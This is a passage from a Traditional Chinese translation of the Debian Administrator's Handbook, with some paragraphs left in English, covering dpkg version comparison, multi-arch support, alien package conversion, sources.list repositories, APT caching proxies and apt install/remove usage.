| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend

|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)

||/ Name                       Version       Architecture Description

+++-==========================-==============-============-==================================

un  backupninja                <none>         <none>       (no description available)

un  backuppc                   <none>         <none>       (no description available)

ii  baloo-kf5                  5.78.0-3       amd64        framework for searching and manag>

un  balsa                      <none>         <none>       (no description available)

ii  baobab                     3.38.0-1       amd64        GNOME disk usage analyzer

un  base                       <none>         <none>       (no description available)

un  base-config                <none>         <none>       (no description available)

ii  base-files                 11.1           amd64        Debian base system miscellaneous >

ii  base-passwd                3.5.51         amd64        Debian base system master passwor>

ii  bash                       5.1-2+b1       amd64        GNU Bourne Again SHell

[..]

$ dpkg -c /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb

drwxr-xr-x root/root         0 2021-07-25 20:43 ./

drwxr-xr-x root/root         0 2021-07-25 20:43 ./bin/

-rwxr-xr-x root/root   1234376 2021-07-25 20:43 ./bin/bash

drwxr-xr-x root/root         0 2021-07-25 20:43 ./etc/

-rw-r--r-- root/root      1994 2021-07-25 20:43 ./etc/bash.bashrc

drwxr-xr-x root/root         0 2021-07-25 20:43 ./etc/skel/

-rw-r--r-- root/root       220 2021-07-25 20:43 ./etc/skel/.bash_logout

-rw-r--r-- root/root      3526 2021-07-25 20:43 ./etc/skel/.bashrc

-rw-r--r-- root/root       807 2021-07-25 20:43 ./etc/skel/.profile

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/bin/

-rwxr-xr-x root/root      6759 2021-07-25 20:43 ./usr/bin/bashbug

-rwxr-xr-x root/root     14648 2021-07-25 20:43 ./usr/bin/clear_console

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/share/

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/share/doc/

[..]

$ dpkg -I /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb

new Debian package, version 2.0.

size 1416600 bytes: control archive=7256 bytes.

77 bytes,     4 lines      conffiles

1030 bytes,    27 lines      control

4511 bytes,    64 lines      md5sums

603 bytes,    31 lines   *  postinst             #!/bin/bash

500 bytes,    25 lines   *  postrm               #!/bin/sh

14536 bytes,    33 lines   *  preinst

289 bytes,    22 lines   *  prerm                #!/bin/bash

Package: bash

Source: bash (5.1-3)

Version: 5.1-3+b1

Architecture: amd64

Essential: yes

Maintainer: Matthias Klose <doko@debian.org>

Installed-Size: 6470

Pre-Depends: libc6 (>= 2.25), libtinfo6 (>= 6)

Depends: base-files (>= 2.1.12), debianutils (>= 2.15)

Recommends: bash-completion (>= 20060301-0)

Suggests: bash-doc

Conflicts: bash-completion (<< 20060301-0)

Replaces: bash-completion (<< 20060301-0), bash-doc (<= 2.05-1)

Section: shells

Priority: required

Multi-Arch: foreign

Homepage: http://tiswww.case.edu/php/chet/bash/bashtop.html

Description: GNU Bourne Again SHell

Bash is an sh-compatible command language interpreter that executes

commands read from the standard input or from a file.  Bash also

incorporates useful features from the Korn and C shells (ksh and csh).

.

Bash is ultimately intended to be a conformant implementation of the

IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2).

.

The Programmable Completion Code, by Ian Macdonald, is now found in

the bash-completion package.

進一步 版本的比較

因為 dpkg 是處理 Debian 套件的程式，它也能夠邏輯地比較版本編號。所以有 --compare-versions 選項，以外部程式使用它 (尤其是被 dpkg 本身執行的組態腳本)。這個選項需要三個參數：版本編號、比較運算元、以及第二個版本編號。可能的運算元為 lt (小於)、le (大於或等於)、eq (等於)、ne (不等於)、ge (大於或等於)、以及 gt (大於)。若比較結果正確，dpkg 送回 0 (成功)；若不正確，則送回 0 以外的數值 (表示失敗)。

$ dpkg --compare-versions 1.2-3 gt 1.1-4

$ echo $?

0

$ dpkg --compare-versions 1.2-3 lt 1.1-4

$ echo $?

1

$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1

$ echo $?

1

注意前例最後一個比較的失敗：dpkg、pre，表示為預釋出版，沒有特別的意義，此程式以比較數字版本 (a < b < c ...) 相同的方式比較字順版本。所以，“0pre3” 大於 “0”。我們以毛毛蟲 “~” 表示該套件的預釋出版：

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1

$ echo $?

0

5.4.4. dpkg 的日誌檔

dpkg 把所有的交易記錄存在名為 /var/log/dpkg.log 的日誌檔。這個日誌檔的內容頗為詳盡且囉唆，記錄套件被 dpkg 處理的每個程序。追蹤 dpkg 的每個作為之外，日誌檔還保留系統發展的記錄：可以覆查每個套件的安裝與移除步驟，對於瞭解最近的變動極有幫助。此外，還記錄所有的版本，可以交互檢查 changelog.Debian.gz 的內容，查看有問題的套件或線上的錯誤報告。

5.4.5. 多架構支援

Debian 套件在其控制資訊內有個 Architecture 欄位。其內容為 “all” (表示該套件不受架構限制) 或指出其適用的架構 (如 “amd64”、“armhf”、…)。以後例而言，主機的架構符合後，dpkg 才開始安裝該套件，並送回 dpkg --print-architecture。

此限制確保使用者不會用到不合其架構的執行檔。除了可以執行多個架構的電腦之外，不論在地的 ( “amd64“ 系統可執行 “i386” 執行檔) 或虛擬的電腦都可找到適用的套件。

5.4.5.1. 啟用多架構

dpkg 的多架構支授允許使用者限制 “怪異的架構” 安裝在現行的系統上。以下例的 dpkg --add-architecture 就能做到。有個對應的 dpkg --remove-architecture 指令可以除去怪異的架構，不過祗發生於無套件可用時。

# dpkg --print-architecture

amd64

# dpkg --print-foreign-architectures

# dpkg -i gcc-9-base_9.3.0-22_armhf.deb

dpkg: error processing archive gcc-9-base_9.3.0-22_armhf.deb (--install):

package architecture (armhf) does not match system (amd64)

Errors were encountered while processing:

gcc-9-base_9.3.0-22_armhf.deb

# dpkg --add-architecture armhf

# dpkg --add-architecture armel

# dpkg --print-foreign-architectures

armhf

armel

# dpkg -i gcc-9-base_9.3.0-22_armhf.deb

(Reading database ... 456367 files and directories currently installed.)

Preparing to unpack gcc-9-base_9.3.0-22_armhf.deb ...

Unpacking gcc-9-base:armhf (9.3.0-22) ...

Setting up gcc-9-base:armhf (9.3.0-22) ...

# dpkg --remove-architecture armhf

dpkg: error: cannot remove architecture 'armhf' currently in use by the database

# dpkg --remove-architecture armel

# dpkg --print-foreign-architectures

armhf

說明 APT 的多架構支援

APT will automatically detect when dpkg has been configured to support foreign architectures and will start downloading the corresponding Packages files during its update process.

可以使用 apt install 套件:架構 指令安裝怪異套件。

實務 在 amd64 使用專屬的 i386 執行檔

There are multiple use cases for multi-arch, but the most popular ones are the possibility to execute (sometimes proprietary) 32 bit binaries (i386) on 64 bit systems (amd64), and the possibility to cross-compile software for a platform or an architecture different from the host one.

5.4.5.2. 多架構相關的改變

To make multi-arch actually useful and usable, libraries had to be repackaged and moved to an architecture-specific directory so that multiple copies (targeting different architectures) can be installed alongside. Such updated packages contain the “Multi-Arch: same” header field to tell the packaging system that the various architectures of the package can be safely co-installed (and that those packages can only satisfy dependencies of packages of the same architecture). The most important libraries have been converted since the introduction of multi-arch in Debian 7 Wheezy, but there are many libraries that will likely never be converted unless someone specifically requests it (through a bug report for example).

$ dpkg -s gcc-9-base

dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance

Use --help for help about querying packages.

$ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi

Multi-Arch: same

Multi-Arch: same

$ dpkg -L libgcc-s1:amd64 |grep .so

/lib/x86_64-linux-gnu/libgcc_s.so.1

$ dpkg -S /usr/share/doc/gcc-9-base/copyright

gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

Multi-Arch: same 套件的名稱必須符合其架構才能被明確的指認出來。也可能以相同的套件在其他情況下共享檔案；共享時，dpkg 確認所有套件的每個位元都相同。最後但不是最不重要，套件的所有實例必須使用相同的版本。也必須一起更新。

多架構支援帶來處理相依性的有趣挑戰。滿足相依性的套件標示為 “Multi-Arch: foreign” 或宣告其匹配架構的相依性 (在這種相依性解決過程中，假設架構獨立的套件與主機不同)。相依性可能被弱化以允許納入其他架構，以 套件:any 語法，但怪異套件祗需滿足一個相依性，如果標示為 “Multi-Arch: allowed”。

5.5. 與其他打包系統共存

Debian 套件不是自由軟體世界唯一的軟體套件。主要的競爭者是紅帽發行版的 RPM 格式及其衍生者。紅帽是極為風行、商業化的發行版。第三方軟體極喜歡使用 RPM 套件而不是 Debian。

在此情況下，Debian 套件也有能夠處理 RPM 套件的 rpm 程式，因此，Debian 也能使用此等格式套件。不過，要小心提取該等套件的資訊或確認其正當性。因此，在 Debian 系統過度使用 rpm 安裝 RPM 套件，有點麻煩；RPM 使用自己的資料庫，不理會原生軟體 (諸如 dpkg) 的資料庫。無法保證這兩種套件系統並存的穩定性。

換句話說，alien 工具可以把 RPM 套件與 Debian 套件互相轉換。

社群 鼓勵採用 .deb

If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the .deb format. Note that the format of the package is not everything: a .deb package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm

[..]

Warning: Skipping conversion of scripts in package phpMyAdmin: postinst

Warning: Use the --scripts parameter to include the scripts.

[..]

phpmyadmin_5.1.1-3_all.deb generated

$ ls -sh phpmyadmin_5.1.1-3_all.deb

6,0M phpmyadmin_5.1.1-3_all.deb

$ dpkg -c phpmyadmin_5.1.1-3_all.deb

drwxr-xr-x root/root         0 2021-08-09 02:02 ./

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/httpd/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/httpd/conf.d/

-rw-r--r-- root/root      1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/nginx/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/nginx/default.d/

-rw-r--r-- root/root       430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf

drwxr-x--- root/root         0 2021-08-09 02:02 ./etc/phpMyAdmin/

-rw-r----- root/root      4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/doc/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/doc/phpMyAdmin/

[..]

$ dpkg -I phpmyadmin_5.1.1-3_all.deb

new Debian package, version 2.0.

size 6195324 bytes: control archive=44444 bytes.

102 bytes,     3 lines      conffiles

593 bytes,    15 lines      control

180405 bytes,  1919 lines      md5sums

448 bytes,    11 lines   *  postinst             #!/bin/sh

Package: phpmyadmin

Version: 5.1.1-3

Architecture: all

Maintainer: Daniel Leidert <dleidert@debian.org>

Installed-Size: 40693

Section: alien

Priority: extra

Description: A web interface for MySQL and MariaDB

phpMyAdmin is a tool written in PHP intended to handle the administration of

MySQL over the Web. Currently it can create and drop databases,

create/drop/alter tables, delete/edit/add fields, execute any SQL statement,

manage keys on fields, manage privileges,export data into various formats and

is available in 50 languages

.

(Converted from a rpm package by alien version 8.95.4.)

此例極為簡單。然而，您必須知道不需任何相依性資訊就能產生套件，兩種套件格式並不必然有系統性的關係。管理者必須以手動方式確保轉換過的套件能夠正確運作，這就是 Debian 產生的套件能夠避免此種可能。幸運的是，Debian 擁有軟體套件各種版本的資料庫，想要的都能找到。

查看 alien 指令的 man 頁面，您將注意到此程式也處理其他套件格式，尤其是 Slackware 發行版 (即簡單的 tar.gz 壓縮檔) 使用的套件格式。

使用 dpkg 工具可穩定地部署軟體維護 Debian 的名聲。接著討論的 APT 工具組，保留這些優點，而且讓管理者從必要且複雜的套件管理工作中解放出來。

章 6. 維護與更新：APT 工具

What makes Debian so popular with administrators is how easily software can be installed and how easily the whole system can be updated. This unique advantage is largely due to the APT program, which Falcot Corp administrators studied with enthusiasm.

APT is the abbreviation for Advanced Packaging Tool. What makes this program “advanced” is its approach to packages. It doesn't simply evaluate them individually, but it considers them as a whole and produces the best possible combination of packages depending on what is available and compatible according to dependencies.

術語 套件來源與原始套件

The word source can be ambiguous. A "source package" — a package containing the source code of a program — should not be confused with a "package source" — a repository (website, FTP server, CD-ROM, local directory, etc.) which contains packages.

APT needs to be given a “list of package sources (repositories)”: the file /etc/apt/sources.list will list the different repositories that publish Debian packages. APT will then import the list of packages published by each of these sources. This operation is achieved by downloading Packages.xz files or a variant such as Packages.gz or .bz2 (using a different compression method) in case of a source of binary packages and by analyzing their contents. In case of a source of source packages, APT downloads Sources.xz files or a variant using a different compression method. When an old copy of these files is already present, APT can update it by only downloading the differences (see sidebar TIP Incremental updates).

基礎 gzip、bzip2、LZMA 與 XZ 壓縮

延伸檔名 .gz 表示該檔案以 gzip 工具壓縮而成。gzip 是最快最有效率的傳統型 Unix 壓縮檔案工具。較新的工具壓縮效率較佳，但耗費較多資源 (電腦時間與金錢) 才能壓縮或解壓縮檔案。依字順為 bzip2 (延伸檔名為 .bz2)、lzma (延伸檔名為 .lzma) 與 xz (延伸檔名為 .xz)。

6.1. 寫入 sources.list 檔案

6.1.1. 語法

Each active line in the /etc/apt/sources.list file represents a package source (repository) and is made of at least three parts separated by spaces. For a complete description of the file format and the accepted entry compositions see sources.list(5).

範例 6.1. Example entry format in /etc/apt/sources.list

deb url distribution component1 component2 component3 [..] componentX

deb-src url distribution component1 component2 component3 [..] componentX

第一個欄位指示來源類型：

deb

package source (repository) of binary packages

deb-src

package source (repository) of source packages

The second field gives the base URL of the source. Combined with the filenames listed in the Packages.xz files, it must give a full and valid URL. This can consist in a Debian mirror or in any other package archive set up by a third party. The URL can start with file:// to indicate a local source installed in the system's file hierarchy, with http:// or https:// to indicate a source accessible from a web server, or with ftp:// or ftps:// for a source available on an FTP server. The URL can also start with cdrom: for CD-ROM/DVD/Blu-ray disc based installations, although this is less frequent, since network-based installation methods are eventually more common. More methods like ssh:// or tor+http(s):// are supported and are either described in sources.list(5) or their respective apt-transport-method package documentation.

The syntax of the last field depends on the structure of the repository. In the simplest case, you can simply indicate a subdirectory (with a required trailing slash) of the desired source. This is often a simple “./” which refers to the absence of a subdirectory. The packages are then directly at the specified URL. But in the most common case, the repositories will be structured like a Debian mirror, with multiple distributions, each having multiple components. In those cases, name the chosen distribution by its “codename” — see the list in sidebar 社群 布魯斯·佩倫斯，另類的領導者 — or by the corresponding “suite” (oldoldstable, oldstable, stable, testing, unstable) and then the components to enable. A typical Debian mirror provides the components main, contrib, and non-free.

術語主要、奉獻 與 不自由 檔案

Debian uses three components to differentiate packages according to the licenses chosen by the authors of each work. Main gathers all packages which fully comply with the Debian Free Software Guidelines.

The non-free component is different because it contains software which does not (entirely) conform to these principles but which can, nevertheless, be distributed without restrictions. This archive, which is not officially part of Debian, is a service for users who could need some of those programs and, nowadays, also require the firmware for their hardware. However, Debian always recommends giving priority to free software. The existence of this component represents a considerable problem for Richard M. Stallman and keeps the Free Software Foundation from recommending Debian to users.

Contrib (contributions) is a set of open source software which cannot function without some non-free elements — these elements can be software from the non-free section, or non-free files such as game ROMs, BIOS of consoles, etc. — or some elements, not available from the Debian main archive at all. The contrib component also includes free software whose compilation requires proprietary elements. This was initially the case for the OpenOffice.org office suite, which used to require a proprietary Java environment.

TIP Files in /etc/apt/sources.list.d/

確認套件來源後，可以把它拆成多個檔案。每個部份都存在 /etc/apt/sources.list.d/檔名.list (見專欄 基本 結尾是 .d 的資料夾名稱) 內。

cdrom 條目表示您有此 CD/DVD-ROMs。相對於其他條目，CD-ROM 並非經常存在，一次祗能塞入一張。基於這個理由，以不同的方式管理此來源，需用到 apt-cdrom 程式，及 add 參數。要求將光碟插入光碟機，並找尋 套件 檔案。以此等檔案更新可用套件的資料庫 (通常以 apt update 命令完成它)。然後，APT 才能要求插入包括其套件的光碟。

6.1.2. 穩定版 使用者的典藏庫

以下是標準的 sources.list 供系統執行 穩定 版 Debian：

範例 6.2. 供 Debian 穩定版使用者的 /etc/apt/sources.list

# Security updates

deb http://security.debian.org/ bullseye-security main contrib non-free

deb-src http://security.debian.org/ bullseye-security main contrib non-free

## Debian mirror

# Base repository

deb https://deb.debian.org/debian bullseye main contrib non-free

deb-src https://deb.debian.org/debian bullseye main contrib non-free

# Stable updates

deb https://deb.debian.org/debian bullseye-updates main contrib non-free

deb-src https://deb.debian.org/debian bullseye-updates main contrib non-free

# Stable backports

deb https://deb.debian.org/debian bullseye-backports main contrib non-free

deb-src https://deb.debian.org/debian bullseye-backports main contrib non-free

This file lists all sources of packages associated with the Bullseye version of Debian (the current Stable suite as of this writing). In the example above, we opted to name “bullseye” explicitly instead of using the corresponding “stable“ aliases (stable, stable-updates, stable-backports) because we don't want to have the underlying distribution changed outside of our control when the next stable release comes out.

Most packages will come from the “base repository”, which contains all packages but is seldom updated (about once every 2 months for a “point release”). The other repositories are partial (they do not contain all packages) and can host updates (packages with newer version) that APT might install. The following sections will explain the purpose and the rules governing each of those repositories.

請注意，指定版本的套件可能同時存在多個典藏庫，將取用列在 sources.list 檔案前面的典藏庫。所以，非官方的來源多半放在此檔案的最後面。

補充說明，本節有關 穩定版 的內容同樣適用於 舊穩定版，因為後者祗是較舊的 穩定版，仍然同步維護中。

6.1.2.1. 安全更新

Debian takes security seriously. Known software vulnerabilities in Debian are tracked in the Security Bug Tracker and usually get fixed in a reasonable timeframe. The security updates are not hosted on the usual network of Debian mirrors but on security.debian.org, a small set of machines maintained by the Debian System Administrators. This archive contains security updates prepared by the Debian Security Team and/or by package maintainers for the Stable and Oldstable distribution.

The server can also host security updates for Testing but this doesn't happen very often since those updates tend to reach that suite via the regular flow of updates coming from Unstable.

For serious issues, the security team issues a Debian Security Advisory (DSA) and announces it together with the security update on the <debian-security-announce@lists.debian.org> mailing list (archive).

6.1.2.2. 穩定更新

穩定更新與安全無關，但認為在下個穩定釋出點前值得使用者更新它。

This repository will typically contain fixes for critical and serious bugs which could not be fixed before release or which have been introduced by subsequent updates. Depending on the urgency, it can also contain updates for packages that have to evolve over time, like spamassassin's spam detection rules, clamav's virus database, the daylight-saving time rules of all timezones (tzdata), the ESR version of Firefox (firefox-esr) or cryptographic keyrings like debian-archive-keyring.

In practice, this repository is a subset of the proposed-updates repository, carefully selected by the Stable Release Managers. All updates are announced on the <debian-stable-announce@lists.debian.org> mailing list (archive) and will be included in the next Stable point release anyway.

6.1.2.3. 建議更新

出版之後，穩定 發行版是唯一固定 2 個月更新的版本。建議的更新 典藏庫是儲放更新資料的地方 (由穩定版釋出經理管轄)。

此典藏所包括前一節的安全與穩定更新文件，以及其他的文件，因為套件維護者也需修護不需立即釋出的重要錯誤。

Anyone can use this repository to test those updates before their official publication. The extract below uses the bullseye-proposed-updates alias which is both more explicit and more consistent since buster-proposed-updates also exists (for the Oldstable updates):

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. 穩定回移

穩定回移 典藏庫儲存 “回移的套件”。係指重新編譯供舊發行版使用的套件，通常係供 h穩定版 使用。

When the distribution becomes a little dated, numerous software projects have released new versions that are not integrated into the current Stable suite, which is only modified to address the most critical problems, such as security issues. Since the Testing and Unstable suites can be more risky, package maintainers sometimes voluntarily offer recompilations of recent software applications for Stable, which has the advantage to users and system administrators to limit potential instability to a small number of chosen packages. The page https://backports.debian.org provides more information.

Backports from stable-backports are only created from packages available in Testing. This ensures that all installed backports will be upgradable to the corresponding stable version once the next stable release of Debian is available.

Even though this repository provides newer versions of packages, APT will not install them unless you give explicit instructions to do so (or unless you have already done so with a former version of the given backport):

$ sudo apt-get install package/bullseye-backports

$ sudo apt-get install -t bullseye-backports package

6.1.3. 供 測試版/不穩定版 使用者的典藏庫

這裡是標準的 sources.list 供執行 Debian 測試版 或 不穩定版 之用：

範例 6.3. /etc/apt/sources.list 檔案供 Debian 測試版/不穩定版 使用者

# Unstable

deb https://deb.debian.org/debian unstable main contrib non-free

deb-src https://deb.debian.org/debian unstable main contrib non-free

# Testing

deb https://deb.debian.org/debian testing main contrib non-free

deb-src https://deb.debian.org/debian testing main contrib non-free

# Testing security updates

deb http://security.debian.org/ testing-security main contrib non-free

deb-src http://security.debian.org/ testing-security main contrib non-free

# Stable

deb https://deb.debian.org/debian stable main contrib non-free

deb-src https://deb.debian.org/debian stable main contrib non-free

# Stable security updates

deb http://security.debian.org/ stable-security main contrib non-free

deb-src http://security.debian.org/ stable-security main contrib non-free

NOTE Layout of security repositories

Starting with Debian 11 Bullseye, the codename of the repository providing security updates has been renamed from codename/updates into codename-security to avoid the confusion with codename-updates (see 節 6.1.2.2, “穩定更新”).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

With this sources.list file APT will install packages from the Unstable suite. If that is not desired, use the APT::Default-Release setting (see 節 6.2.3, “系統升級”) to instruct APT to pick packages from another suite (most likely Testing in this case).

There are good reasons to include all those repositories, even though a single one should be enough. Testing users will appreciate the possibility to cherry-pick a fixed package from Unstable when the version in Testing is affected by an annoying bug. On the other hand, Unstable users bitten by unexpected regressions have the possibility to downgrade packages to their (supposedly working) Testing version.

The inclusion of Stable is more debatable but it often gives access to some packages, which have been removed from the development versions. It also ensures that you get the latest updates for packages, which have not been modified since the last stable release.

6.1.3.1. 實驗性 典藏所

實驗性 典藏所的套件是所有 Debian 鏡射站的內容，包括因為品質關係尚未被納入 不穩定版 的套件 — 通常是發展中的軟體版本或前置版 (alpha、beta、待釋出…)。修改過的套件多少有點問題，可送至此處。在進階使用者的協助下，維護者努力找出該等問題。經過第一階段後，把套件移至 不穩定版，更多的使用者以更詳細的方式測試它。

不在乎系統崩盤並有能力自行修復的使用者，就會取用 實驗性 的套件。使用者匯入此等套件並測試其功能、檢查是否滿足其需求。這就是 Debian 的訴求，加入 APT 的 sources.list 內，並不表示該套件可順利使用，應加入這一個行：

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Using Alternate Mirrors

The sources.list examples in this chapter refer to package repositories hosted on deb.debian.org. Those URLs will redirect you to servers which are close to you and which are managed by Content Delivery Networks (CDN) whose main role is to store multiple copies of the files across the world, and to deliver them as fast as possible to users. The CDN companies that Debian is working with are Debian partners who are offering their services freely to Debian. While none of those servers are under direct control of Debian, the fact that the whole archive is sealed by GPG signatures makes it a non-issue.

→ https://deb.debian.org/

Picky users who are not satisfied with the performance of deb.debian.org can try to find a better mirror in the official mirror list:

→ https://www.debian.org/mirror/list

But when you don't know which mirror is best for you, this list is of not much use. Fortunately for you, Debian maintains DNS entries of the form ftp.country-code.debian.org (e.g. ftp.us.debian.org for the USA, ftp.fr.debian.org for France, etc.) which are covering many countries and which are pointing to one (or more) of the best mirrors available within that country.

As an alternative to deb.debian.org, there used to be httpredir.debian.org. This service would identify a mirror close to you (among the list of official mirrors, using GeoIP mainly) and would redirect APT's requests to that mirror. This service has been deprecated due to reliability concerns and now httpredir.debian.org provides the same CDN-based service as deb.debian.org.

6.1.5. 非官方資源：mentors.debian.net

There are numerous non-official sources of Debian packages set up by advanced users who have recompiled some software — Ubuntu made this popular with their Personal Package Archive (PPA) service — by programmers who make their creation available to all, and even by Debian developers who offer pre-versions of their package online.

The mentors.debian.net site is interesting (although it only provides source packages), since it gathers packages created by candidates to the status of official Debian developer or by volunteers who wish to create Debian packages without going through that process of integration. These packages are made available without any guarantee regarding their quality; make sure that you check their origin and integrity and then test them before you consider using them in production.

社群debian.net 網站

debian.net 網址不是 Debian 計畫的官方資源。每個 Debian 發展者都可使用此網址。這些網站可能包括非官方的服務 (有時是個人網站) 位於不屬於計畫的機器上，且由 Debian 發展者建拉，或將移至 debian.org 的原型。這些原型留在 debian.net 的原因有二：沒有人發願把它轉移成為官方服務 (置於 debian.org 網址，並保證後續的維護)，或太具爭論性。

安裝套件就是把根權限給其創造者，因為他們決定執行該等腳本的內容。Debian 官方的套件由志願者建立，並封閉套件以確保其完整。

In general, be wary of a package whose origin you don't know and which isn't hosted on one of the official Debian servers: evaluate the degree to which you can trust the creator, and check the integrity of the package.

GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org

The Debian project frequently releases new stable versions of their distribution, rendering old releases eventually outdated and unsupported (see 節 1.6, “釋出週期”). The repositories belonging to these releases are then removed from the official mirrors, but can still be accessed using the service at archive.debian.org. Note, that this service allows access to any of the old Debian releases, but does not provide the source package for every binary package offered.

The snapshot.debian.org service, introduced in April 2010, can be used to “go backwards in time” and to find an old binary or source version of a package not longer contained in the Debian archives. It can be used, for example, to identify which version of a package introduced a regression, and more concretely, to come back to the former version while waiting for the regression fix. This service does not only offer source and binary packages from older releases, but also versions superseeded by regular maintainer uploads.

6.1.6. Debian 套件快取代理

當機器的整個網路都組態成使用同個遠端伺服器下載同個更新套件，管理者就知道中介性質的代理做為在地網路的快取，是最有益的。(見專欄 術語 快取)。

可以用 "標準" 代理組態 APT (見 節 6.2.4, “組態選項” 給 APT 使用，把 節 11.6, “HTTP/FTP Proxy” 給代理端)，但 Debian 的生態系統以更好的選擇解決此問題。本區列出的專用軟體比純快取更聰明，因為他們使用特定構架的 APT 典藏所 (例如他們知道檔案是否已過時，且在持有時調整其內容)。

apt-cacher 與 apt-cacher-ng 就像一般快取伺服器般運作。APT 的 sources.list 不變，但 APT 組態成像是快取。

換句話說，approx 就像是 “鏡射” 至高層 URL 的遠端 HTTP 伺服器典藏所。高層典藏所與遠端 URL 典藏所是儲存在 /etc/approx/approx.conf：

# <name>   <repository-base-url>

debian     https://deb.debian.org/debian

security   http://security.debian.org/debian-security

approx runs by default on port 9999 via a systemd socket and requires the users to adjust their sources.list file to point to the approx server:

# Sample sources.list pointing to a local approx server

deb http://localhost:9999/security bullseye-security main contrib non-free

deb http://localhost:9999/debian   bullseye main contrib non-free

6.2. aptitude、apt-get、與 apt 命令

APT is a vast project, whose original plans included a graphical interface. It is based on a library which contains the core application, and apt-get is the first front end — command-line based — which was developed within the project. apt is a second command-line based front end provided by APT which overcomes some design mistakes of apt-get.

Both tools are built on top of the same library and are thus very close, but the default behavior of apt has been improved for interactive use and to actually do what most users expect. The APT developers reserve the right to change the public interface of this tool to further improve it. Conversely, the public interface of apt-get is well defined and will not change in any backwards incompatible way. It is thus the tool that you want to use when you need to script package installation requests.

Numerous other graphical interfaces then appeared as external projects: synaptic, aptitude (which includes both a text mode interface and a graphical one — even if not complete yet), wajig, etc. The most recommended interface, apt, is the one that we will use in the examples given in this section. Note, however, that apt-get and aptitude have a very similar command line syntax. When there are major differences between these three commands, these will be detailed.

6.2.1. 初始化

For any work with APT, the list of available packages needs to be updated; this can be done simply through apt update. Depending on the speed of your connection and configuration, the operation can take a while, since it involves downloading a certain number of (usually compressed) files (Packages, Sources, Translation-language-code), which have gradually become bigger and bigger as Debian has developed (at least 10-16 MB of data for the main section). Of course, installing from a CD-ROM/DVD set does not require any downloading — in this case, the operation is very fast.

TIP Incremental updates

The aim of the apt update command is to download for each package source the corresponding Packages (or Sources) file. However, even after a xz compression, these files can remain rather large (the Packages.xz for the main section of Unstable takes more than 8 MB). If you wish to update regularly, these downloads can take up a lot of time.

To speed up the process, APT can download “diff” files containing the changes since the previous update, as opposed to the entire file. To achieve this, official Debian mirrors distribute different files which list the differences between one version of the Packages file and the following version. They are generated at each update of the archives and a history of one week is kept. Each of these “diff” files only takes a few dozen kilobytes for Unstable, so that the amount of data downloaded by a weekly apt update is often divided by 10. For Stable and Testing, which change less, the gain is even more noticeable.

However, it can sometimes be of interest to force the download of the entire Packages file, especially when the last upgrade is very old and when the mechanism of incremental differences would not contribute much. This can also be interesting when network access is very fast but when the processor of the machine to upgrade is rather slow, since the time saved on the download is more than lost when the computer calculates the new versions of these files (starting with the older versions and applying the downloaded differences). To do that, you can use the APT configuration parameter Acquire::PDiffs and set it to false.

$ sudo apt -o "Acquire::PDiffs=false" update

The Acquire::* options also control other aspects of the download, and even the download methods. Acquire::Languages can limit or disable the download of Translation-language-code files and save even more time. For a complete reference see apt.conf(5).

6.2.2. 安裝與移除

With APT, packages can be added or removed from the system, respectively with apt install package and apt remove package. In both cases, APT will automatically install the necessary dependencies or delete the packages which depend on the package that is being removed. The apt purge package command involves a complete uninstallation by deleting the configuration files as well.

秘訣 同個套件安裝多次

在多部電腦安系統性地安裝相同的套件。此工作還很簡單。

首先，取得電腦內安裝套件的清單做為複製的 “模板”。

$ dpkg --get-selections >pkg-list

pkg-list 檔案內容是已安裝套件的清單。然後，用以下的指令把 pkg-list 檔案複製在欲更新的電腦：

## 更新 dpkg 已知套件的資料

#avail=`mktemp`

# apt-cache dumpavail > "$avail"

# dpkg --merge-avail "$avail"

# rm -f "$avail"

## 更新 dpkg 的選擇

# dpkg --set-selections < pkg-list

## 要求 apt-get 安裝指定的套件

# apt-get dselect-upgrade

The first commands record the list of available packages in the dpkg database. Then dpkg --set-selections restores the selection of packages that you wish to install, and the apt-get invocation executes the required operations! aptitude does not have this command.

秘訣 同時移除與安裝

在命令 apt (或 apt-get、或 aptitude) 加入後綴就可以同時安裝指定的套件與移除其他套件。在 apt install 命令加入 “-” 及希望移除的套件名稱。在 apt remove 命令加入 “+” 及希望安裝的套件名稱。

以下顯示安裝 套件1 與移除 套件2 的例子。

# apt install package1 package2-

# apt remove package1+ package2

This can also be used to exclude packages which would otherwise be installed, for example, due to an automatic installation of Recommends. In general, the dependency solver will use that information as a hint to look for alternative solutions.

秘訣 apt --reinstall 與 aptitude reinstall

